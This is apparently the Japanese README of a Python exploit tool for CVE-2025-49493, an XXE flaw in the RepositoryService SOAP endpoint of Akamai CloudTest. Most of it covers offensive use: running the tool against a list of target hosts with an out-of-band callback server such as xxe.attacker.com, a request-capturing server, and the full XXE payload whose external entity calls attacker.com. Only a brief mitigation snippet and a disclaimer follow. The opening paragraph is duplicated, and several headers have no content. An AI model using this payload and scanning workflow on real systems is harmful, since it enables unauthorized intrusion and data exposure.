
これはCVE-2025-49493用のPythonベースのエクスプロイトであり、Akamai CloudTestのバージョン60 2025.06.02 (12988)より前のバージョンに影響します。この脆弱性は、SOAPサービスエンドポイントを介したXML External Entity (XXE)インジェクションを可能にします。
これはCVE-2025-49493用のPythonベースのエクスプロイトで、Akamai CloudTestのバージョン60 2025.06.02 (12988) より前のバージョンに影響します。この脆弱性により、SOAPサービスエンドポイントを介したXML外部実体(XXE)インジェクションが可能になります。
この脆弱性は、/concerto/services/RepositoryService SOAPエンドポイントに存在し、XML入力が外部実体の適切なサニタイズなしに処理されます。攻撃者は悪意のあるXMLペイロードを作成してXXE攻撃を誘発し、以下につながる可能性があります:
必要なパッケージをインストールします:
pip install -r requirements.txt
または手動でインストール:
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# カスタムタイムアウト
python main.py targets.txt collaborator.burp.com --timeout 20
# OOB検出にinteractshを使用
python main.py targets.txt attacker.interactsh.com
positional arguments:
targets ターゲットファイル(Akamai CloudTestホストのリスト)
xxe_server リクエストをキャプチャするXXEサーバー(例:attacker.com または IP)
optional arguments:
-h, --help このヘルプメッセージを表示して終了
--timeout TIMEOUT リクエストタイムアウト(秒)(デフォルト:10)
各行に1つのターゲットを記述したtargets.txtファイルを作成します:
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-clientリクエストをキャプチャする簡単なHTTPサーバーをセットアップする:
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
エクスプロイトは次のXXEペイロード構造を使用します:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
即時対応:
長期的な解決策:
安全なXML処理:
# XMLパーサーで外部実体を無効化
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
入力検証:
このツールは教育および許可されたテスト目的でのみ提供されます。ユーザーはシステムをテストする前に適切な許可を得る責任があります。著者は、このツールの誤用またはそれによって引き起こされた損害について一切責任を負いません。
このプロジェクトはMITライセンスの下でライセンスされています - 詳細はLICENSEファイルを参照してください。